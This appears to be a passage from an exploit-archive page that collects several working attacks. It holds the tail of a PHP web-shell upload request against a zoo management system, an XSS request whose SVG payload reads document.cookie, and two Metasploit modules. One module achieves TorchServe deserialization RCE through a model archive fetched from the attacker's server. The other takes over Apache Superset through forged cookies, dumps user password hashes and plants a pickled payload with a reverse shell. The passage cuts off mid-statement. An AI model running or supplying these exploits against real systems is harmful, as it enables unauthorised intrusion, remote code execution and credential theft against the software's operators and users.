/>------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="b_clutch_size"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="b_wingspan"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="b_color_variant"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="f_body_temp"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="f_water_type"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="f_color_variant"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="rep_type"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="clutch_size"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="num_offspring"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML<br />Content-Disposition: form-data; name="submit"<br /><br /><br />------WebKitFormBoundary8NY8zT5dXIloiUML--<br /><br /><br /><br /><br />## After the post request sent by an attacker, the malicious file can be seen under the http://localhost/zoomanagementsystem/img/animals/. the attacker can execute arbitrary command on http://localhost/zoomanagementsystem/img/animals/ultra_1697442648.php. <br /><br /><br /><br /><br /></code></pre>
<pre><code>## Title: 2023-Mount-Carmel-School-6.4.1 XSS-Reflected - User Interaction<br />## Author: nu11secur1ty<br />## Date: 10/14/2023<br />## Vendor: https://smart-school.in/<br />## Software: https://demo.smart-school.in/site/userlogin#<br />## Reference: https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected<br /><br /><br />## Description:<br />The user can manipulate the system by injecting an HTML code into the<br />system without any restriction.<br />The function apply_leave is not sanitizing correctly. This could allow<br />the user to inject this<br />application by using HTML or Java Script with very malicious purposes etc...<br /><br /><br />STATUS: HIGH- Vulnerability<br /><br />[+]Exploit:<br />```HTML<br />POST /user/apply_leave/add HTTP/1.1<br />Host: demo.smart-school.in<br />Cookie: ci_session=495u2fpup87iml75p4us2uuqgqkpsof9<br />Content-Length: 1492<br />Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"<br />Accept: application/json, text/javascript, */*; q=0.01<br />Content-Type: multipart/form-data;<br />boundary=----WebKitFormBoundary5wuzslDN9siOCW0K<br />X-Requested-With: XMLHttpRequest<br />Sec-Ch-Ua-Mobile: ?0<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132<br />Safari/537.36<br />Sec-Ch-Ua-Platform: "Windows"<br />Origin: https://demo.smart-school.in<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Dest: empty<br />Referer: https://demo.smart-school.in/user/apply_leave<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="homework_id"<br /><br /><br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="apply_date"<br /><br />10/14/2023<br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="from_date"<br /><br />09/27/2023<br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="to_date"<br /><br />09/29/2023<br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="leave_id"<br /><br /><br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="message"<br /><br /><a href="https://www.youtube.com/watch?v=yPuC4Cy2ZuI" target="_blank"<br />rel="noopener nofollow ugc"><br /><img src="https://raw.githubusercontent.com/nu11secur1ty/XSSight/master/nu11secur1ty/images/chalga-tochilka.gif"<br />style="border:1px solid black;max-width:100%;" alt="Photo of Byron<br />Bay, one of Australia's best beaches!"><br />------WebKitFormBoundary5wuzslDN9siOCW0K<br />Content-Disposition: form-data; name="files[]"; filename="kurec.svg"<br />Content-Type: image/svg+xml<br /><br /><?xml version="1.0" standalone="no"?><br /><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"<br />"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><br /><br /><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"><br /> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"<br />stroke="#004400"/><br /> <script type="text/javascript"><br /> alert(document.cookie);<br /> </script><br /></svg><br /><br />------WebKitFormBoundary5wuzslDN9siOCW0K--<br /><br />```<br /><br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/smart-school.in/2023/Mount-Carmel-School-6.4.1)<br /><br />## Proof and Exploit:<br />[href](https://www.nu11secur1ty.com/2023/10/2023-mount-carmel-school-641-xss.html)<br /><br />## Time spent:<br />00:37:00<br /><br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rex/zip'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Java<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::Java::HTTP::ClassLoader<br /><br /> def initialize(_info = {})<br /> super(<br /> 'Name' => 'PyTorch Model Server Registration and Deserialization RCE',<br /> 'Description' => %q{<br /> The PyTorch model server contains multiple vulnerabilities that can be chained together to permit an<br /> unauthenticated remote attacker arbitrary Java code execution. The first vulnerability is that the management<br /> interface is bound to all IP addresses and not just the loop back interface as the documentation suggests. The<br /> second vulnerability (CVE-2023-43654) allows attackers with access to the management interface to register MAR<br /> model files from arbitrary servers. The third vulnerability is that when an MAR file is loaded, it can contain a<br /> YAML configuration file that when deserialized by snakeyaml, can lead to loading an arbitrary Java class.<br /> },<br /> 'Author' => [<br /> 'Idan Levcovich', # vulnerability discovery and research<br /> 'Guy Kaplan', # vulnerability discovery and research<br /> 'Gal Elbaz', # vulnerability discovery and research<br /> 'Swapneil Kumar Dash', # snakeyaml deserialization research<br /> 'Spencer McIntyre' # metasploit module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654' ],<br /> [ 'CVE', '2023-43654' ], # model registration SSRF<br /> [ 'URL', 'https://github.com/pytorch/serve/security/advisories/GHSA-8fxr-qfr9-p34w' ],<br /> [ 'CVE', '2022-1471' ], # snakeyaml deserialization RCE<br /> [ 'URL', 'https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2' ],<br /> [ 'URL', 'https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in' ],<br /> [ 'URL', 'https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858' ]<br /> ],<br /> 'DisclosureDate' => '2023-10-03',<br /> 'License' => MSF_LICENSE,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8081<br /> },<br /> 'Targets' => [<br /> [<br /> 'Automatic', {<br /> 'Platform' => 'java',<br /> 'Arch' => [ARCH_JAVA]<br /> }<br /> ],<br /> ],<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [IOC_IN_LOGS],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> }<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'api-description'))<br /> return Exploit::CheckCode::Unknown unless res<br /> return Exploit::CheckCode::Safe unless res.code == 200<br /> unless res.get_json_document.dig('info', 'title') == 'TorchServe APIs'<br /> return Exploit::CheckCode::Safe('The TorchServe API was not detected on the target.')<br /> end<br /><br /> version = res.get_json_document.dig('info', 'version')<br /> return Exploit::CheckCode::Detected unless version.present?<br /><br /> unless Rex::Version.new(version) < Rex::Version.new('8.0.2')<br /> return Exploit::CheckCode::Safe("Version #{version} is patched.")<br /> end<br /><br /> Exploit::CheckCode::Appears("Version #{version} is vulnerable.")<br /> end<br /><br /> def class_name<br /> 'MyScriptEngineFactory'<br /> end<br /><br /> def constructor_class<br /> ::File.binread(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-1471', "#{class_name}.class"))<br /> end<br /><br /> def on_request_uri(cli, request)<br /> if request.relative_resource.end_with?("#{@model_name}.mar")<br /> print_good('Sending model archive')<br /> send_response(cli, generate_mar, { 'Content-Type' => 'application/octet-stream' })<br /> return<br /> end<br /><br /> if request.relative_resource.end_with?('services/javax.script.ScriptEngineFactory')<br /> vprint_good('Sending ScriptEngineFactory class name')<br /> send_response(cli, class_name, { 'Content-Type' => 'application/octet-string' })<br /> return<br /> end<br /><br /> super(cli, request)<br /> end<br /><br /> def generate_mar<br /> config_file = rand_text_alphanumeric(8..15) + '.yml'<br /> serialized_file = rand_text_alphanumeric(8..15) + '.pt'<br /><br /> mri = Rex::Zip::Archive.new<br /> mri.add_file(serialized_file, '') # an empty data file is sufficient for exploitation<br /> mri.add_file('MAR-INF/MANIFEST.json', JSON.generate({<br /> 'createdOn' => (Time.now - Random.rand(600..1199)).strftime('%d/%m/%Y %H:%M:%S'), # forge a timestamp of 10-20 minutes ago<br /> 'runtime' => 'python',<br /> 'model' => {<br /> 'modelName' => @model_name,<br /> 'serializedFile' => serialized_file,<br /> 'handler' => %w[image_classifier object_detector text_classifier image_segmenter].sample,<br /> 'modelVersion' => '1.0',<br /> 'configFile' => config_file<br /> },<br /> 'archiverVersion' => '0.8.2'<br /> }))<br /> mri.add_file(config_file, %( !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["#{get_uri}/"]]]] ))<br /> mri.pack<br /> end<br /><br /> def exploit<br /> start_service<br /><br /> @model_name = rand_text_alphanumeric(8..15)<br /> print_status('Registering the model archive...')<br /> # see: https://pytorch.org/serve/management_api.html#register-a-model<br /> send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'models'),<br /> 'vars_get' => { # *must* be vars_get and not vars_post!<br /> 'url' => "#{get_uri}#{@model_name}.mar"<br /> }<br /> })<br /><br /> handler<br /> end<br /><br /> def cleanup<br /> super<br /><br /> return unless @model_name<br /><br /> # see: https://pytorch.org/serve/management_api.html#unregister-a-model<br /> send_request_cgi({<br /> 'method' => 'DELETE',<br /> 'uri' => normalize_uri(target_uri.path, 'models', @model_name, '1.0')<br /> })<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = GoodRanking<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache Superset Signed Cookie RCE',<br /> 'Description' => %q{<br /> Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.<br /> These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that<br /> of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the<br /> Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be<br /> set for that dashboard within Superset's database which will trigger the RCE.<br /><br /> An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # MSF module<br /> 'paradoxis', # original flask-unsign tool<br /> 'Spencer McIntyre', # MSF flask-unsign library<br /> 'Naveen Sunkavally' # horizon3.ai writeup and cve discovery<br /> ],<br /> 'References' => [<br /> ['URL', 'https://github.com/Paradoxis/Flask-Unsign'],<br /> ['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],<br /> ['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],<br /> ['URL', 'https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/'],<br /> ['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],<br /> ['EDB', '51447'],<br /> ['CVE', '2023-27524'], # flask cookie<br /> ['CVE', '2023-37941'], # rce<br /> ['CVE', '2023-39265'] # mount superset's internal database<br /> ],<br /> 'Platform' => ['python'],<br /> 'Privileged' => false,<br /> 'Arch' => ARCH_PYTHON,<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'python/meterpreter/reverse_tcp'<br /> },<br /> 'DisclosureDate' => '2023-09-06',<br /><br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [CONFIG_CHANGES],<br /> 'RelatedModules' => ['auxiliary/gather/apache_superset_cookie_sig_priv_esc']<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(8088),<br /> OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),<br /> OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),<br /> OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),<br /> OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),<br /> OptPath.new('SECRET_KEYS_FILE', [<br /> false, 'File containing secret keys to try, one per line',<br /> File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')<br /> ]),<br /> OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db'])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi!({<br /> 'uri' => normalize_uri(target_uri.path, 'login/')<br /> })<br /> return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /> return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'<br /> unless res.body =~ /"version_string": "([\d.]+)"/<br /> return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")<br /> end<br /><br /> version = Rex::Version.new(Regexp.last_match(1))<br /> if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')<br /> Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")<br /> else<br /> Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")<br /> end<br /> end<br /><br /> def get_secret_key(cookie)<br /> File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|<br /> secret = secret.strip<br /> vprint_status("#{peer} - Checking secret key: #{secret}")<br /><br /> unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))<br /> unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)<br /> vprint_bad("#{peer} - Incorrect secret key: #{secret}")<br /> next<br /> end<br /><br /> print_good("#{peer} - Found secret key: #{secret}")<br /> return secret<br /> end<br /> nil<br /> end<br /><br /> def validate_cookie(decoded_cookie, secret_key)<br /> print_status("#{peer} - Attempting to resign with key: #{secret_key}")<br /> encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)<br /><br /> print_status("#{peer} - New signed cookie: #{encoded_cookie}")<br /> cookie_jar.clear<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),<br /> 'cookie' => "session=#{encoded_cookie};",<br /> 'keep_cookies' => true<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> if res.code == 401<br /> print_bad("#{peer} - Cookie not accepted")<br /> return nil<br /> end<br /> data = res.get_json_document<br /> print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")<br /> return encoded_cookie<br /> end<br /><br /> def get_csrf_token<br /> vprint_status('Grabbing CSRF token')<br /> res = send_request_cgi!({<br /> 'uri' => normalize_uri(target_uri.path, 'login/'),<br /> 'keep_cookies' => true<br /> })<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/<br /><br /> @csrf_token = Regexp.last_match(1)<br /> vprint_status("#{peer} - CSRF Token: #{@csrf_token}")<br /> end<br /><br /> def login_and_priv_esc<br /> get_csrf_token<br /><br /> print_status("#{peer} - Attempting login")<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'login/'),<br /> 'keep_cookies' => true,<br /> 'method' => 'POST',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> 'username' => datastore['USERNAME'],<br /> 'password' => datastore['PASSWORD'],<br /> 'csrf_token' => @csrf_token<br /> }<br /> })<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'<br /><br /> cookie = res.get_cookies.to_s<br /> print_good("#{peer} - Logged in Cookie: #{cookie}")<br /><br /> # get the cookie value and strip off anything else<br /> cookie = cookie.split('=')[1].gsub(';', '')<br /><br /> secret_key = get_secret_key(cookie)<br /> fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?<br /><br /> decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)<br /> decoded_cookie['user_id'] = datastore['ADMIN_ID']<br /> print_status("#{peer} - Modified cookie: #{decoded_cookie}")<br /> @admin_cookie = validate_cookie(decoded_cookie, secret_key)<br /> fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if @admin_cookie.nil?<br /> end<br /><br /> def set_query_latest_query_id<br /> vprint_status('Setting latest query id')<br /> @client_id = Rex::Text.rand_text_alphanumeric(8, 12)<br /> data = Rex::MIME::Message.new<br /> data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"')<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'method' => 'PUT',<br /> 'data' => data.to_s,<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> }<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /> end<br /><br /> def transform_hash(hash)<br /> # Some background on transforming this hash:<br /> # If we use python hashlib to generate the hash, it matches<br /> # example output for password 'admin': $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5<br /> # hashlib: >>> pbkdf2_hmac('sha256', b'admin', b'CXsb59tSLZm9ABBN', our_app_iters).hex()<br /> # 'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5'<br /> # however, JTR doesn't like this: No password hashes loaded (see FAQ)<br /> # hashid also doesn't: [+] Unknown hash<br /><br /> # the basis of this is the hex() makes it 64 characters, and we need 43 characters to be a real hash<br /> # https://hashcat.net/forum/thread-7715.html is the same issue<br /> # the solution is to take the value, unhex it, base64 it, remove =, and sub '+' for '.'. This is the same for the salt, except for unhex.<br /><br /> # example output: $pbkdf2-sha256$260000$CXsb59tSLZm9ABBN$b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5<br /> # needs transform to: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU<br /><br /> # to get there: salt: base64, remove =, sub '+' for '.'<br /> # python code: base64.b64encode(b'CXsb59tSLZm9ABBN').decode('utf8').replace('=','').replace('+','.')<br /> # python output: Q1hzYjU5dFNMWm05QUJCTg<br /><br /> # to get there: hash: unhex, base64, remove =, sub '+' for '.'<br /> # python code: base64.b64encode(binascii.unhexlify(b'b3ebe68c694857464a5754a9ddd4ddadc9ff8bd093ab13d9d2496f7b81eb79e5')).decode('utf8').replace('=','').replace('+','.')<br /> # python output: s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU<br /> header = hash.split('$')[0] # contains algorithm, iterations<br /> header = header.sub('pbkdf2:sha256:', '$pbkdf2-sha256$')<br /> salt = hash.split('$')[1]<br /> salt = Base64.strict_encode64(salt).delete('=').tr('+', '.')<br /> hash = hash.split('$')[2]<br /> hash = Base64.strict_encode64([hash].pack('H*')).delete('=').tr('+', '.')<br /> jtr_password = [header, salt, hash].join('$')<br /> jtr_password<br /> end<br /><br /> def mount_internal_database<br /> # use cve-2023-39265 bypass to mount superset's internal sqlite db<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> 'engine' => 'sqlite',<br /> 'configuration_method' => 'sqlalchemy_form',<br /> 'catalog' => [{ 'name' => '', 'value' => '' }],<br /> 'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}",<br /> 'expose_in_sqllab' => true,<br /> 'database_name' => Rex::Text.rand_text_alphanumeric(6, 12),<br /> 'allow_ctas' => true,<br /> 'allow_cvas' => true,<br /> 'allow_dml' => true,<br /> 'allow_multi_schema_metadata_fetch' => true,<br /> 'extra_json' => {<br /> 'cost_estimate_enabled' => true,<br /> 'allows_virtual_table_explore' => true<br /> },<br /> 'extra' => {<br /> 'cost_estimate_enabled' => true,<br /> 'allows_virtual_table_explore' => true,<br /> 'metadata_params' => {},<br /> 'engine_params' => {},<br /> 'schemas_allowed_for_file_upload' => []<br /> }.to_json<br /> }.to_json<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Failed to mount the internal database: #{datastore['DATABASE']}") if res.code == 422<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 201<br /><br /> j = res.get_json_document<br /> @db_id = j['id']<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @db_id.nil?<br /> print_good("Successfully created db mapping with id: #{@db_id}")<br /><br /> # create new query tab<br /> vprint_status('Creating new sqllab tab')<br /> data = Rex::MIME::Message.new<br /> data.add_part('{"title":"' + Rex::Text.rand_text_alphanumeric(6, 12) + '","dbId":' + @db_id.to_s + ',"schema":null,"autorun":false,"sql":"SELECT ...","queryLimit":1000}', nil, nil, 'form-data; name="queryEditor"')<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'tabstateview/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => "multipart/form-data; boundary=#{data.bound}",<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => data.to_s<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> j = res.get_json_document<br /> @tab_id = j['id']<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find 'id' field in response data: #{j}") if @tab_id.nil?<br /> print_good("Using tab: #{@tab_id}")<br /><br /> # tell it we're about to submit a new query<br /> set_query_latest_query_id<br /><br /> # harvest creds<br /> vprint_status('Harvesting superset user creds')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> 'client_id' => @client_id,<br /> 'database_id' => @db_id,<br /> 'json' => true,<br /> 'runAsync' => false,<br /> 'schema' => 'main',<br /> 'sql' => 'SELECT username,password from ab_user;',<br /> 'sql_editor_id' => '1',<br /> 'tab' => 'Untitled Query 1',<br /> 'tmp_table_name' => '',<br /> 'select_as_cta' => false,<br /> 'ctas_method' => 'TABLE',<br /> 'queryLimit' => 1000,<br /> 'expand_data' => true<br /> }.to_json<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> creds_table = Rex::Text::Table.new(<br /> 'Header' => 'Superset Creds',<br /> 'Indent' => 2,<br /> 'Columns' =><br /> [<br /> 'Username',<br /> 'Password'<br /> ]<br /> )<br /><br /> j = res.get_json_document<br /> j['data'].each do |cred|<br /> jtr_password = transform_hash(cred['password'])<br /> creds_table << [cred['username'], jtr_password]<br /><br /> create_credential({<br /> workspace_id: myworkspace_id,<br /> origin_type: :service,<br /> module_fullname: fullname,<br /> username: cred['username'],<br /> private_type: :nonreplayable_hash,<br /> jtr_format: Metasploit::Framework::Hashes.identify_hash(jtr_password),<br /> private_data: jtr_password,<br /> service_name: 'Apache Superset',<br /> address: datastore['RHOST'],<br /> port: datastore['RPORT'],<br /> protocol: 'tcp',<br /> status: Metasploit::Model::Login::Status::UNTRIED<br /> })<br /> end<br /><br /> print_good(creds_table.to_s)<br /> end<br /><br /> def rce_implant<br /> # create new dashboard<br /> vprint_status('Creating new dashboard')<br /> res = send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => normalize_uri(target_uri.path, 'dashboard', 'new/')<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302<br /><br /> res.headers['location'] =~ %r{dashboard/(\d+)/}<br /> @dashboard_id = Regexp.last_match(1)<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unable to detect dashboard ID from location header: #{res.headers['location']}") if @dashboard_id.nil?<br /> print_good("New Dashboard id: #{@dashboard_id}")<br /><br /> # get permalink so we can trigger it later for payload execution<br /> vprint_status('Grabbing permalink to new dashboard to trigger payload later')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id, 'permalink'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> filterState: {},<br /> urlParams: []<br /> }.to_json<br /> )<br /> permalink_key = res.get_json_document['key']<br /> print_good("Dashboard permalink key: #{permalink_key}")<br /><br /> # grab the default values so we can unset them later<br /> vprint_status('Grabbing values to reset later')<br /> set_query_latest_query_id<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> 'client_id' => @client_id,<br /> 'database_id' => @db_id,<br /> 'json' => true,<br /> 'runAsync' => false,<br /> 'schema' => 'main',<br /> 'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';",<br /> 'sql_editor_id' => '1',<br /> 'tab' => 'Untitled Query 1',<br /> 'tmp_table_name' => '',<br /> 'select_as_cta' => false,<br /> 'ctas_method' => 'TABLE',<br /> 'queryLimit' => 1000,<br /> 'expand_data' => true<br /> }.to_json<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> # in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV<br /> # output to grab the correct values.<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id),<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true<br /> )<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> @values_to_reset = CSV.parse(res.body)<br /><br /> # tell it we're about to submit a new query<br /> set_query_latest_query_id<br /><br /> pickled = 